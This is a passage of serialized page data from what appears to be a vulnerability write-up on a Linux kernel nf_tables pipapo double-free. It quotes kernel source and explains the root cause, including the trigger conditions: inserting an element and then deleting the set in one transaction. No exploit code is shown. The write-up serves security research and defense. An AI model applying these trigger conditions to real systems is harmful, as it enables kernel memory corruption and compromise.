m",{"type":23,"tag":139,"props":49120,"children":49121},{"style":259},[49122],{"type":28,"value":11768},{"type":23,"tag":139,"props":49124,"children":49125},{"style":294},[49126],{"type":28,"value":30973},{"type":23,"tag":139,"props":49128,"children":49129},{"style":259},[49130],{"type":28,"value":49131},"; i ",{"type":23,"tag":139,"props":49133,"children":49134},{"style":982},[49135],{"type":28,"value":3808},{"type":23,"tag":139,"props":49137,"children":49138},{"style":294},[49139],{"type":28,"value":49118},{"type":23,"tag":139,"props":49141,"children":49142},{"style":259},[49143],{"type":28,"value":11768},{"type":23,"tag":139,"props":49145,"children":49146},{"style":294},[49147],{"type":28,"value":49148},"field_count",{"type":23,"tag":139,"props":49150,"children":49151},{"style":982},[49152],{"type":28,"value":49153}," -",{"type":23,"tag":139,"props":49155,"children":49156},{"style":1016},[49157],{"type":28,"value":2525},{"type":23,"tag":139,"props":49159,"children":49160},{"style":259},[49161],{"type":28,"value":49162},"; i",{"type":23,"tag":139,"props":49164,"children":49165},{"style":982},[49166],{"type":28,"value":49167},"++",{"type":23,"tag":139,"props":49169,"children":49170},{"style":259},[49171],{"type":28,"value":49172},", f",{"type":23,"tag":139,"props":49174,"children":49175},{"style":982},[49176],{"type":28,"value":49167},{"type":23,"tag":139,"props":49178,"children":49179},{"style":259},[49180],{"type":28,"value":273},{"type":23,"tag":139,"props":49182,"children":49183},{"class":141,"line":214},[49184],{"type":23,"tag":139,"props":49185,"children":49186},{"style":259},[49187],{"type":28,"value":49188},"  ;\n",{"type":23,"tag":139,"props":49190,"children":49191},{"class":141,"line":1320},[49192],{"type":23,"tag":139,"props":49193,"children":49194},{"emptyLinePlaceholder":15},[49195],{"type":28,"value":184},{"type":23,"tag":139,"props":49197,"children":49198},{"class":141,"line":1329},[49199,49203,49208,49212,49216,49221,49225,49229,49233,49238,49243,49247],{"type":23,"tag":139,"props":49200,"children":49201},{"style":319},[49202],{"type":28,"value":49091},{"type":23,"tag":139,"props":49204,"children":49205},{"style":259},[49206],{"type":28,"value":49207}," (r ",{"type":23,"tag":139,"props":49209,"children":49210},{"style":982},[49211],{"type":28,"value":1067},{"type":23,"tag":139,"props":49213,"children":49214},{"style":1016},[49215],{"type":28,"value":1019},{"type":23,"tag":139,"props":49217,"children":49218},{"style":259},[49219],{"type":28,"value":49220},"; r ",{"type":23,"tag":139,"props":49222,"children":49223},{"style":982},[49224],{"type":28,"value":3808},{"type":23,"tag":139,"props":49226,"children":49227},{"style":294},[49228],{"type":28,"value":30859},{"type":23,"tag":139,"props":49230,"children":49231},{"style":259},[49232],{"type":28,"value":11768},{"type":23,"tag":139,"props":49234,"children":49235},{"style":294},[49236],{"type":28,"value":49237},"rules",{"type":23,"tag":139,"props":49239,"children":49240},{"style":259},[49241],{"type":28,"value":49242},"; r",{"type":23,"tag":139,"props":49244,"children":49245},{"style":982},[49246],{"type":28,"value":49167},{"type":23,"tag":139,"props":49248,"children":49249},{"style":259},[49250],{"type":28,"value":12815},{"type":23,"tag":139,"props":49252,"children":49253},{"class":141,"line":1580},[49254,49258,49263,49267],{"type":23,"tag":139,"props":49255,"children":49256},{"style":279},[49257],{"type":28,"value":3798},{"type":23,"tag":139,"props":49259,"children":49260},{"style":259},[49261],{"type":28,"value":49262}," nft_pipapo_elem ",{"type":23,"tag":139,"props":49264,"children":49265},{"style":982},[49266],{"type":28,"value":2573},{"type":23,"tag":139,"props":49268,"children":49269},{"style":259},[49270],{"type":28,"value":49271},"e;\n",{"type":23,"tag":139,"props":49273,"children":49274},{"class":141,"line":1597},[49275],{"type":23,"tag":139,"props":49276,"children":49277},{"emptyLinePlaceholder":15},[49278],{"type":28,"value":184},{"type":23,"tag":139,"props":49280,"children":49281},{"class":141,"line":1614},[49282,49286,49290,49294,49298,49302,49306,49310,49314,49318,49322,49326,49331,49336,49340,49344,49348,49353,49357,49361,49365,49369,49374,49378],{"type":23,"tag":139,"props":49283,"children":49284},{"style":319},[49285],{"type":28,"value":29281},{"type":23,"tag":139,"props":49287,"children":49288},{"style":259},[49289],{"type":28,"value":49207},{"type":23,"tag":139,"props":49291,"children":49292},{"style":982},[49293],{"type":28,"value":3808},{"type":23,"tag":139,"props":49295,"children":49296},{"style":294},[49297],{"type":28,"value":30859},{"type":23,"tag":139,"props":49299,"children":49300},{"style":259},[49301],{"type":28,"value":11768},{"type":23,"tag":139,"props":49303,"children":49304},{"style":294},[49305],{"type":28,"value":49237},{"type":23,"tag":139,"props":49307,"children":49308},{"style":982},[49309],{"type":28,"value":49153},{"type":23,"tag":139,"props":49311,"children":49312},{"style":1016},[49313],{"type":28,"value":2525},{"type":23,"tag":139,"props":49315,"children":49316},{"style":982},[49317],{"type":28,"value":12196},{"type":23,"tag":139,"props":49319,"children":49320},{"style":294},[49321],{"type":28,"value":30859},{"type":23,"tag":139,"props":49323,"children":49324},{"style":259},[49325],{"type":28,"value":11768},{"type":23,"tag":139,"props":49327,"children":49328},{"style":294},[49329],{"type":28,"value":49330},"mt",{"type":23,"tag":139,"props":49332,"children":49333},{"style":259},[49334],{"type":28,"value":49335},"[r ",{"type":23,"tag":139,"props":49337,"children":49338},{"style":982},[49339],{"type":28,"value":2382},{"type":23,"tag":139,"props":49341,"children":49342},{"style":1016},[49343],{"type":28,"value":2525},{"type":23,"tag":139,"props":49345,"children":49346},{"style":259},[49347],{"type":28,"value":48246},{"type":23,"tag":139,"props":49349,"children":49350},{"style":294},[49351],{"type":28,"value":49352},"e",{"type":23,"tag":139,"props":49354,"children":49355},{"style":982},[49356],{"type":28,"value":1259},{"type":23,"tag":139,"props":49358,"children":49359},{"style":294},[49360],{"type":28,"value":30859},{"type":23,"tag":139,"props":49362,"children":49363},{"style":259},[49364],{"type":28,"value":11768},{"type":23,"tag":139,"props":49366,"children":49367},{"style":294},[49368],{"type":28,"value":49330},{"type":23,"tag":139,"props":49370,"children":49371},{"style":259},[49372],{"type":28,"value":49373},"[r].",{"type":23,"tag":139,"props":49375,"children":49376},{"style":294},[49377],{"type":28,"value":49352},{"type":23,"tag":139,"props":49379,"children":49380},{"style":259},[49381],{"type":28,"value":273},{"type":23,"tag":139,"props":49383,"children":49384},{"class":141,"line":1627},[49385,49390],{"type":23,"tag":139,"props":49386,"children":49387},{"style":319},[49388],{"type":28,"value":49389},"   continue",{"type":23,"tag":139,"props":49391,"children":49392},{"style":259},[49393],{"type":28,"value":995},{"type":23,"tag":139,"props":49395,"children":49396},{"class":141,"line":1636},[49397],{"type":23,"tag":139,"props":49398,"children":49399},{"emptyLinePlaceholder":15},[49400],{"type":28,"value":184},{"type":23,"tag":139,"props":49402,"children":49403},{"class":141,"line":1659},[49404,49409,49413,49417,49421,49425,49429,49433],{"type":23,"tag":139,"props":49405,"children":49406},{"style":259},[49407],{"type":28,"value":49408},"  e ",{"type":23,"tag":139,"props":49410,"children":49411},{"style":982},[49412],{"type":28,"value":1067},{"type":23,"tag":139,"props":49414,"children":49415},{"style":294},[49416],{"type":28,"value":30859},{"type":23,"tag":139,"props":49418,"children":49419},{"style":259},[49420],{"type":28,"value":11768},{"type":23,"tag":139,"props":49422,"children":49423},{"style":294},[49424],{"type":28,"value":49330},{"type":23,"tag":139,"props":49426,"children":49427},{"style":259},[49428],{"type":28,"value":49373},{"type":23,"tag":139,"props":49430,"children":49431},{"style":294},[49432],{"type":28,"value":49352},{"type":23,"tag":139,"props":49434,"children":49435},{"style":259},[49436],{"type":28,"value":995},{"type":23,"tag":139,"props":49438,"children":49439},{"class":141,"line":1667},[49440],{"type":23,"tag":139,"props":49441,"children":49442},{"emptyLinePlaceholder":15},[49443],{"type":28,"value":184},{"type":23,"tag":139,"props":49445,"children":49446},{"class":141,"line":1676},[49447,49452,49457,49461,49465,49469,49474],{"type":23,"tag":139,"props":49448,"children":49449},{"style":245},[49450],{"type":28,"value":49451},"  nf_tables_set_elem_destroy",{"type":23,"tag":139,"props":49453,"children":49454},{"style":259},[49455],{"type":28,"value":49456},"(ctx, set, ",{"type":23,"tag":139,"props":49458,"children":49459},{"style":982},[49460],{"type":28,"value":1085},{"type":23,"tag":139,"props":49462,"children":49463},{"style":294},[49464],{"type":28,"value":49352},{"type":23,"tag":139,"props":49466,"children":49467},{"style":259},[49468],{"type":28,"value":11768},{"type":23,"tag":139,"props":49470,"children":49471},{"style":294},[49472],{"type":28,"value":49473},"priv",{"type":23,"tag":139,"props":49475,"children":49476},{"style":259},[49477],{"type":28,"value":1820},{"type":23,"tag":139,"props":49479,"children":49480},{"class":141,"line":1745},[49481],{"type":23,"tag":139,"props":49482,"children":49483},{"style":259},[49484],{"type":28,"value":7604},{"type":23,"tag":139,"props":49486,"children":49487},{"class":141,"line":1753},[49488],{"type":23,"tag":139,"props":49489,"children":49490},{"style":259},[49491],{"type":28,"value":1897},{"type":23,"tag":24,"props":49493,"children":49494},{},[49495,49497,49503,49505,49510],{"type":28,"value":49496},"Which will then ",{"type":23,"tag":135,"props":49498,"children":49500},{"className":49499},[],[49501],{"type":28,"value":49502},"kfree()",{"type":28,"value":49504}," the ",{"type":23,"tag":135,"props":49506,"children":49508},{"className":49507},[],[49509],{"type":28,"value":48909},{"type":28,"value":73},{"type":23,"tag":128,"props":49512,"children":49514},{"className":14526,"code":49513,"language":1123,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[49515],{"type":23,"tag":135,"props":49516,"children":49517},{"__ignoreMap":7},[49518,49559,49587,49616,49623,49658,49665,49686,49709,49716,49729],{"type":23,"tag":139,"props":49519,"children":49520},{"class":141,"line":142},[49521,49526,49531,49535,49539,49543,49547,49551,49555],{"type":23,"tag":139,"props":49522,"children":49523},{"style":279},[49524],{"type":28,"value":49525},"void",{"type":23,"tag":139,"props":49527,"children":49528},{"style":245},[49529],{"type":28,"value":49530}," nf_tables_set_elem_destroy",{"type":23,"tag":139,"props":49532,"children":49533},{"style":259},[49534],{"type":28,"value":262},{"type":23,"tag":139,"props":49536,"children":49537},{"style":279},[49538],{"type":28,"value":7663},{"type":23,"tag":139,"props":49540,"children":49541},{"style":279},[49542],{"type":28,"value":19159},{"type":23,"tag":139,"props":49544,"children":49545},{"style":259},[49546],{"type":28,"value":48969},{"type":23,"tag":139,"props":49548,"children":49549},{"style":982},[49550],{"type":28,"value":2573},{"type":23,"tag":139,"props":49552,"children":49553},{"style":294},[49554],{"type":28,"value":18288},{"type":23,"tag":139,"props":49556,"children":49557},{"style":259},[49558],{"type":28,"value":1488},{"type":23,"tag":139,"props":49560,"children":49561},{"class":141,"line":151},[49562,49567,49571,49575,49579,49583],{"type":23,"tag":139,"props":49563,"children":49564},{"style":279},[49565],{"type":28,"value":49566},"    const",{"type":23,"tag":139,"props":49568,"children":49569},{"style":279},[49570],{"type":28,"value":19159},{"type":23,"tag":139,"props":49572,"children":49573},{"style":259},[49574],{"type":28,"value":48997},{"type":23,"tag":139,"props":49576,"children":49577},{"style":982},[49578],{"type":28,"value":2573},{"type":23,"tag":139,"props":49580,"children":49581},{"style":294},[49582],{"type":28,"value":48917},{"type":23,"tag":139,"props":49584,"children":49585},{"style":259},[49586],{"type":28,"value":1488},{"type":23,"tag":139,"props":49588,"children":49589},{"class":141,"line":160},[49590,49594,49598,49603,49607,49612],{"type":23,"tag":139,"props":49591,"children":49592},{"style":279},[49593],{"type":28,"value":49566},{"type":23,"tag":139,"props":49595,"children":49596},{"style":279},[49597],{"type":28,"value":19159},{"type":23,"tag":139,"props":49599,"children":49600},{"style":259},[49601],{"type":28,"value":49602}," nft_elem_priv ",{"type":23,"tag":139,"props":49604,"children":49605},{"style":982},[49606],{"type":28,"value":2573},{"type":23,"tag":139,"props":49608,"children":49609},{"style":294},[49610],{"type":28,"value":49611},"elem_priv",{"type":23,"tag":139,"props":49613,"children":49614},{"style":259},[49615],{"type":28,"value":273},{"type":23,"tag":139,"props":49617,"children":49618},{"class":141,"line":169},[49619],{"type":23,"tag":139,"props":49620,"children":49621},{"style":259},[49622],{"type":28,"value":8890},{"type":23,"tag":139,"props":49624,"children":49625},{"class":141,"line":178},[49626,49630,49635,49639,49644,49648,49653],{"type":23,"tag":139,"props":49627,"children":49628},{"style":279},[49629],{"type":28,"value":19159},{"type":23,"tag":139,"props":49631,"children":49632},{"style":259},[49633],{"type":28,"value":49634}," nft_set_ext ",{"type":23,"tag":139,"props":49636,"children":49637},{"style":982},[49638],{"type":28,"value":2573},{"type":23,"tag":139,"props":49640,"children":49641},{"style":259},[49642],{"type":28,"value":49643},"ext ",{"type":23,"tag":139,"props":49645,"children":49646},{"style":982},[49647],{"type":28,"value":1067},{"type":23,"tag":139,"props":49649,"children":49650},{"style":245},[49651],{"type":28,"value":49652}," nft_set_elem_ext",{"type":23,"tag":139,"props":49654,"children":49655},{"style":259},[49656],{"type":28,"value":49657},"(set, elem_priv);\n",{"type":23,"tag":139,"props":49659,"children":49660},{"class":141,"line":187},[49661],{"type":23,"tag":139,"props":49662,"children":49663},{"emptyLinePlaceholder":15},[49664],{"type":28,"value":184},{"type":23,"tag":139,"props":49666,"children":49667},{"class":141,"line":196},[49668,49672,49676,49681],{"type":23,"tag":139,"props":49669,"children":49670},{"style":319},[49671],{"type":28,"value":13799},{"type":23,"tag":139,"props":49673,"children":49674},{"style":259},[49675],{"type":28,"value":1042},{"type":23,"tag":139,"props":49677,"children":49678},{"style":245},[49679],{"type":28,"value":49680},"nft_set_ext_exists",{"type":23,"tag":139,"props":49682,"children":49683},{"style":259},[49684],{"type":28,"value":49685},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":139,"props":49687,"children":49688},{"class":141,"line":205},[49689,49694,49699,49704],{"type":23,"tag":139,"props":49690,"children":49691},{"style":245},[49692],{"type":28,"value":49693},"  nft_set_elem_expr_destroy",{"type":23,"tag":139,"props":49695,"children":49696},{"style":259},[49697],{"type":28,"value":49698},"(ctx, ",{"type":23,"tag":139,"props":49700,"children":49701},{"style":245},[49702],{"type":28,"value":49703},"nft_set_ext_expr",{"type":23,"tag":139,"props":49705,"children":49706},{"style":259},[49707],{"type":28,"value":49708},"(ext));\n",{"type":23,"tag":139,"props":49710,"children":49711},{"class":141,"line":214},[49712],{"type":23,"tag":139,"props":49713,"children":49714},{"emptyLinePlaceholder":15},[49715],{"type":28,"value":184},{"type":23,"tag":139,"props":49717,"children":49718},{"class":141,"line":1320},[49719,49724],{"type":23,"tag":139,"props":49720,"children":49721},{"style":245},[49722],{"type":28,"value":49723}," kfree",{"type":23,"tag":139,"props":49725,"children":49726},{"style":259},[49727],{"type":28,"value":49728},"(elem_priv);\n",{"type":23,"tag":139,"props":49730,"children":49731},{"class":141,"line":1329},[49732],{"type":23,"tag":139,"props":49733,"children":49734},{"style":259},[49735],{"type":28,"value":1897},{"type":23,"tag":24,"props":49737,"children":49738},{},[49739,49740,49746,49748,49753,49755,49760,49762,49767,49768,49773,49775,49780,49782,49787,49789,49794],{"type":28,"value":14625},{"type":23,"tag":135,"props":49741,"children":49743},{"className":49742},[],[49744],{"type":28,"value":49745},"nft_pipapo_match",{"type":28,"value":49747}," objects contain views of the ",{"type":23,"tag":135,"props":49749,"children":49751},{"className":49750},[],[49752],{"type":28,"value":48909},{"type":28,"value":49754},"'s of a ",{"type":23,"tag":135,"props":49756,"children":49758},{"className":49757},[],[49759],{"type":28,"value":48917},{"type":28,"value":49761},". The difference between the ",{"type":23,"tag":135,"props":49763,"children":49765},{"className":49764},[],[49766],{"type":28,"value":48894},{"type":28,"value":9002},{"type":23,"tag":135,"props":49769,"children":49771},{"className":49770},[],[49772],{"type":28,"value":48878},{"type":28,"value":49774}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":135,"props":49776,"children":49778},{"className":49777},[],[49779],{"type":28,"value":48909},{"type":28,"value":49781},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":135,"props":49783,"children":49785},{"className":49784},[],[49786],{"type":28,"value":48909},{"type":28,"value":49788},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":135,"props":49790,"children":49792},{"className":49791},[],[49793],{"type":28,"value":48894},{"type":28,"value":73},{"type":23,"tag":666,"props":49796,"children":49798},{"id":49797},"root-cause-analysis",[49799],{"type":28,"value":49800},"Root-cause analysis",{"type":23,"tag":24,"props":49802,"children":49803},{},[49804,49806,49812,49814,49819],{"type":28,"value":49805},"So ",{"type":23,"tag":135,"props":49807,"children":49809},{"className":49808},[],[49810],{"type":28,"value":49811},"nf_tables_set_elem_destroy",{"type":28,"value":49813}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":135,"props":49815,"children":49817},{"className":49816},[],[49818],{"type":28,"value":48909},{"type":28,"value":49820},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":49822,"children":49823},{},[49824,49826,49831,49833,49838,49840,49845,49847,49852,49854,49859],{"type":28,"value":49825},"We should now try to understand how to reach that path with the ",{"type":23,"tag":135,"props":49827,"children":49829},{"className":49828},[],[49830],{"type":28,"value":48871},{"type":28,"value":49832}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":135,"props":49834,"children":49836},{"className":49835},[],[49837],{"type":28,"value":48909},{"type":28,"value":49839}," that becomes true whenever a change is made to the ",{"type":23,"tag":135,"props":49841,"children":49843},{"className":49842},[],[49844],{"type":28,"value":48917},{"type":28,"value":49846}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":135,"props":49848,"children":49850},{"className":49849},[],[49851],{"type":28,"value":48917},{"type":28,"value":49853}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":135,"props":49855,"children":49857},{"className":49856},[],[49858],{"type":28,"value":48917},{"type":28,"value":49860}," dirty by inserting a new element.",{"type":23,"tag":128,"props":49862,"children":49864},{"className":14526,"code":49863,"language":1123,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[49865],{"type":23,"tag":135,"props":49866,"children":49867},{"__ignoreMap":7},[49868,49938,49967,49992,49999,50006,50035,50042],{"type":23,"tag":139,"props":49869,"children":49870},{"class":141,"line":142},[49871,49875,49879,49884,49888,49892,49896,49901,49905,49910,49914,49918,49922,49926,49930,49934],{"type":23,"tag":139,"props":49872,"children":49873},{"style":279},[49874],{"type":28,"value":48942},{"type":23,"tag":139,"props":49876,"children":49877},{"style":279},[49878],{"type":28,"value":49071},{"type":23,"tag":139,"props":49880,"children":49881},{"style":245},[49882],{"type":28,"value":49883}," nft_pipapo_insert",{"type":23,"tag":139,"props":49885,"children":49886},{"style":259},[49887],{"type":28,"value":262},{"type":23,"tag":139,"props":49889,"children":49890},{"style":279},[49891],{"type":28,"value":7663},{"type":23,"tag":139,"props":49893,"children":49894},{"style":279},[49895],{"type":28,"value":19159},{"type":23,"tag":139,"props":49897,"children":49898},{"style":259},[49899],{"type":28,"value":49900}," net ",{"type":23,"tag":139,"props":49902,"children":49903},{"style":982},[49904],{"type":28,"value":2573},{"type":23,"tag":139,"props":49906,"children":49907},{"style":294},[49908],{"type":28,"value":49909},"net",{"type":23,"tag":139,"props":49911,"children":49912},{"style":259},[49913],{"type":28,"value":1052},{"type":23,"tag":139,"props":49915,"children":49916},{"style":279},[49917],{"type":28,"value":7663},{"type":23,"tag":139,"props":49919,"children":49920},{"style":279},[49921],{"type":28,"value":19159},{"type":23,"tag":139,"props":49923,"children":49924},{"style":259},[49925],{"type":28,"value":48997},{"type":23,"tag":139,"props":49927,"children":49928},{"style":982},[49929],{"type":28,"value":2573},{"type":23,"tag":139,"props":49931,"children":49932},{"style":294},[49933],{"type":28,"value":48917},{"type":23,"tag":139,"props":49935,"children":49936},{"style":259},[49937],{"type":28,"value":1488},{"type":23,"tag":139,"props":49939,"children":49940},{"class":141,"line":151},[49941,49945,49949,49954,49958,49963],{"type":23,"tag":139,"props":49942,"children":49943},{"style":279},[49944],{"type":28,"value":30789},{"type":23,"tag":139,"props":49946,"children":49947},{"style":279},[49948],{"type":28,"value":19159},{"type":23,"tag":139,"props":49950,"children":49951},{"style":259},[49952],{"type":28,"value":49953}," nft_set_elem ",{"type":23,"tag":139,"props":49955,"children":49956},{"style":982},[49957],{"type":28,"value":2573},{"type":23,"tag":139,"props":49959,"children":49960},{"style":294},[49961],{"type":28,"value":49962},"elem",{"type":23,"tag":139,"props":49964,"children":49965},{"style":259},[49966],{"type":28,"value":1488},{"type":23,"tag":139,"props":49968,"children":49969},{"class":141,"line":160},[49970,49975,49979,49984,49988],{"type":23,"tag":139,"props":49971,"children":49972},{"style":279},[49973],{"type":28,"value":49974},"        struct",{"type":23,"tag":139,"props":49976,"children":49977},{"style":259},[49978],{"type":28,"value":49602},{"type":23,"tag":139,"props":49980,"children":49981},{"style":982},[49982],{"type":28,"value":49983},"**",{"type":23,"tag":139,"props":49985,"children":49986},{"style":294},[49987],{"type":28,"value":49611},{"type":23,"tag":139,"props":49989,"children":49990},{"style":259},[49991],{"type":28,"value":273},{"type":23,"tag":139,"props":49993,"children":49994},{"class":141,"line":169},[49995],{"type":23,"tag":139,"props":49996,"children":49997},{"style":259},[49998],{"type":28,"value":8890},{"type":23,"tag":139,"props":50000,"children":50001},{"class":141,"line":178},[50002],{"type":23,"tag":139,"props":50003,"children":50004},{"style":259},[50005],{"type":28,"value":8327},{"type":23,"tag":139,"props":50007,"children":50008},{"class":141,"line":187},[50009,50014,50018,50023,50027,50031],{"type":23,"tag":139,"props":50010,"children":50011},{"style":294},[50012],{"type":28,"value":50013}," priv",{"type":23,"tag":139,"props":50015,"children":50016},{"style":259},[50017],{"type":28,"value":11768},{"type":23,"tag":139,"props":50019,"children":50020},{"style":294},[50021],{"type":28,"value":50022},"dirty",{"type":23,"tag":139,"props":50024,"children":50025},{"style":982},[50026],{"type":28,"value":985},{"type":23,"tag":139,"props":50028,"children":50029},{"style":279},[50030],{"type":28,"value":10480},{"type":23,"tag":139,"props":50032,"children":50033},{"style":259},[50034],{"type":28,"value":995},{"type":23,"tag":139,"props":50036,"children":50037},{"class":141,"line":196},[50038],{"type":23,"tag":139,"props":50039,"children":50040},{"style":259},[50041],{"type":28,"value":8327},{"type":23,"tag":139,"props":50043,"children":50044},{"class":141,"line":205},[50045],{"type":23,"tag":139,"props":50046,"children":50047},{"style":259},[50048],{"type":28,"value":1897},{"type":23,"tag":24,"props":50050,"children":50051},{},[50052],{"type":28,"value":50053},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":128,"props":50055,"children":50057},{"className":14526,"code":50056,"language":1123,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[50058],{"type":23,"tag":135,"props":50059,"children":50060},{"__ignoreMap":7},[50061,50101,50108,50115,50146,50157,50164,50191,50198],{"type":23,"tag":139,"props":50062,"children":50063},{"class":141,"line":142},[50064,50068,50072,50077,50081,50085,50089,50093,50097],{"type":23,"tag":139,"props":50065,"children":50066},{"style":279},[50067],{"type":28,"value":48942},{"type":23,"tag":139,"props":50069,"children":50070},{"style":279},[50071],{"type":28,"value":48947},{"type":23,"tag":139,"props":50073,"children":50074},{"style":245},[50075],{"type":28,"value":50076}," nft_pipapo_commit",{"type":23,"tag":139,"props":50078,"children":50079},{"style":259},[50080],{"type":28,"value":262},{"type":23,"tag":139,"props":50082,"children":50083},{"style":279},[50084],{"type":28,"value":7409},{"type":23,"tag":139,"props":50086,"children":50087},{"style":259},[50088],{"type":28,"value":48997},{"type":23,"tag":139,"props":50090,"children":50091},{"style":982},[50092],{"type":28,"value":2573},{"type":23,"tag":139,"props":50094,"children":50095},{"style":294},[50096],{"type":28,"value":48917},{"type":23,"tag":139,"props":50098,"children":50099},{"style":259},[50100],{"type":28,"value":273},{"type":23,"tag":139,"props":50102,"children":50103},{"class":141,"line":151},[50104],{"type":23,"tag":139,"props":50105,"children":50106},{"style":259},[50107],{"type":28,"value":8890},{"type":23,"tag":139,"props":50109,"children":50110},{"class":141,"line":160},[50111],{"type":23,"tag":139,"props":50112,"children":50113},{"style":259},[50114],{"type":28,"value":8327},{"type":23,"tag":139,"props":50116,"children":50117},{"class":141,"line":169},[50118,50122,50126,50130,50134,50138,50142],{"type":23,"tag":139,"props":50119,"children":50120},{"style":319},[50121],{"type":28,"value":13799},{"type":23,"tag":139,"props":50123,"children":50124},{"style":259},[50125],{"type":28,"value":1042},{"type":23,"tag":139,"props":50127,"children":50128},{"style":982},[50129],{"type":28,"value":18629},{"type":23,"tag":139,"props":50131,"children":50132},{"style":294},[50133],{"type":28,"value":49473},{"type":23,"tag":139,"props":50135,"children":50136},{"style":259},[50137],{"type":28,"value":11768},{"type":23,"tag":139,"props":50139,"children":50140},{"style":294},[50141],{"type":28,"value":50022},{"type":23,"tag":139,"props":50143,"children":50144},{"style":259},[50145],{"type":28,"value":273},{"type":23,"tag":139,"props":50147,"children":50148},{"class":141,"line":178},[50149,50153],{"type":23,"tag":139,"props":50150,"children":50151},{"style":319},[50152],{"type":28,"value":37089},{"type":23,"tag":139,"props":50154,"children":50155},{"style":259},[50156],{"type":28,"value":995},{"type":23,"tag":139,"props":50158,"children":50159},{"class":141,"line":187},[50160],{"type":23,"tag":139,"props":50161,"children":50162},{"style":259},[50163],{"type":28,"value":8327},{"type":23,"tag":139,"props":50165,"children":50166},{"class":141,"line":196},[50167,50171,50175,50179,50183,50187],{"type":23,"tag":139,"props":50168,"children":50169},{"style":294},[50170],{"type":28,"value":50013},{"type":23,"tag":139,"props":50172,"children":50173},{"style":259},[50174],{"type":28,"value":11768},{"type":23,"tag":139,"props":50176,"children":50177},{"style":294},[50178],{"type":28,"value":50022},{"type":23,"tag":139,"props":50180,"children":50181},{"style":982},[50182],{"type":28,"value":985},{"type":23,"tag":139,"props":50184,"children":50185},{"style":279},[50186],{"type":28,"value":7064},{"type":23,"tag":139,"props":50188,"children":50189},{"style":259},[50190],{"type":28,"value":995},{"type":23,"tag":139,"props":50192,"children":50193},{"class":141,"line":205},[50194],{"type":23,"tag":139,"props":50195,"children":50196},{"style":259},[50197],{"type":28,"value":8327},{"type":23,"tag":139,"props":50199,"children":50200},{"class":141,"line":214},[50201],{"type":23,"tag":139,"props":50202,"children":50203},{"style":259},[50204],{"type":28,"value":1897},{"type":23,"tag":24,"props":50206,"children":50207},{},[50208,50210,50215,50217,50222,50224,50229,50231,50236,50238,50244,50246,50252,50254,50259],{"type":28,"value":50209},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":135,"props":50211,"children":50213},{"className":50212},[],[50214],{"type":28,"value":48909},{"type":28,"value":50216}," in the ",{"type":23,"tag":135,"props":50218,"children":50220},{"className":50219},[],[50221],{"type":28,"value":48917},{"type":28,"value":50223}," to make it dirty and then delete the ",{"type":23,"tag":135,"props":50225,"children":50227},{"className":50226},[],[50228],{"type":28,"value":48917},{"type":28,"value":50230},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":135,"props":50232,"children":50234},{"className":50233},[],[50235],{"type":28,"value":48917},{"type":28,"value":50237},"'s ",{"type":23,"tag":135,"props":50239,"children":50241},{"className":50240},[],[50242],{"type":28,"value":50243},"->commit()",{"type":28,"value":50245}," method is executed before its ",{"type":23,"tag":135,"props":50247,"children":50249},{"className":50248},[],[50250],{"type":28,"value":50251},"->destroy()",{"type":28,"value":50253}," method, then the ",{"type":23,"tag":135,"props":50255,"children":50257},{"className":50256},[],[50258],{"type":28,"value":50022},{"type":28,"value":50260}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":50262,"children":50263},{},[50264],{"type":28,"value":50265},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":128,"props":50267,"children":50269},{"className":14526,"code":50268,"language":1123,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[50270],{"type":23,"tag":135,"props":50271,"children":50272},{"__ignoreMap":7},[50273,50335,50342,50349,50357,50370,50405,50439,50481,50503,50515,50528,50535,50583,50624,50664,50677,50684,50691,50698,50705,50730,50737,50750,50757,50773],{"type":23,"tag":139,"props":50274,"children":50275},{"class":141,"line":142},[50276,50280,50284,50289,50293,50297,50301,50305,50309,50313,50317,50322,50326,50331],{"type":23,"tag":139,"props":50277,"children":50278},{"style":279},[50279],{"type":28,"value":48942},{"type":23,"tag":139,"props":50281,"children":50282},{"style":279},[50283],{"type":28,"value":49071},{"type":23,"tag":139,"props":50285,"children":50286},{"style":245},[50287],{"type":28,"value":50288}," 